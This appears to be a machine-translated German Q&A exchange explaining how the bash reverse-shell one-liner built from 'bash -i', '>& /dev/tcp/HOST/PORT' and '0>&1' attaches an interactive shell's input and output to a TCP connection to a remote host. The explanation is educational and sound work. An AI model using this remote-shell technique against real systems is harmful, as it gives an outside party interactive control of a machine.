Antworten:
Dieses Snippet führt eine neue interaktive Instanz von bash ( bash -i
) auf einer TCP-Verbindung zum angegebenen Port auf dem angegebenen Host aus, die für die Dauer des Bash-Prozesses erstellt wird. Standardausgabe und Standardfehler werden über diese Verbindung gesendet ( >& /dev/tcp/HOST/PORT
), und Standardeingabe wird über diese Verbindung gelesen ( 0>&1
- dies sollte 0<&1
aber auch 0>&1
funktionieren).
Es findet keine Portweiterleitung statt. Offensichtlich muss ein TCP-Server Verbindungen auf diesem HOST: PORT abhören und akzeptieren, und die Firewall muss die Verbindung durchlassen.
/dev/tcp/HOST/PORT
? Ich nahm an, dass Sie einen Namen durch HOST
und eine Nummer durch ersetzt hatten PORT
. Andernfalls erhalten Sie eine Fehlermeldung von bash. Da Sie keine Fehlermeldung erwähnt haben, gehe ich davon aus, dass Sie keine gesehen haben.
0<&1
Teil nicht verdauen . Ich las es als 'nimm bash stdout ( &1
) und leite es in bash stdin ( 0
)', was Sinn macht. Können Sie bitte erklären, wie dieser Teil funktioniert?
0<&1
bedeutet, dass alles, was gerade in Dateideskriptor 1 geöffnet ist, mit Dateideskriptor 0 verbunden wird. Da die vorherige Umleitung >& /dev/tcp/HOST/PORT
fd 1 (die Standardeinstellung für eine Ausgabeverleitung) mit verbunden hat /dev/tcp/HOST/PORT
, dh einen TCP-Socket geöffnet hat, wird die TCP-Verbindung mit Dateideskriptor 0 (dh dem Der gleiche Socket ist jetzt auch auf fd 0 geöffnet. Dies unterscheidet sich von 0 </ dev / tcp / HOST / PORT, wodurch ein anderer Socket für denselben Server geöffnet würde.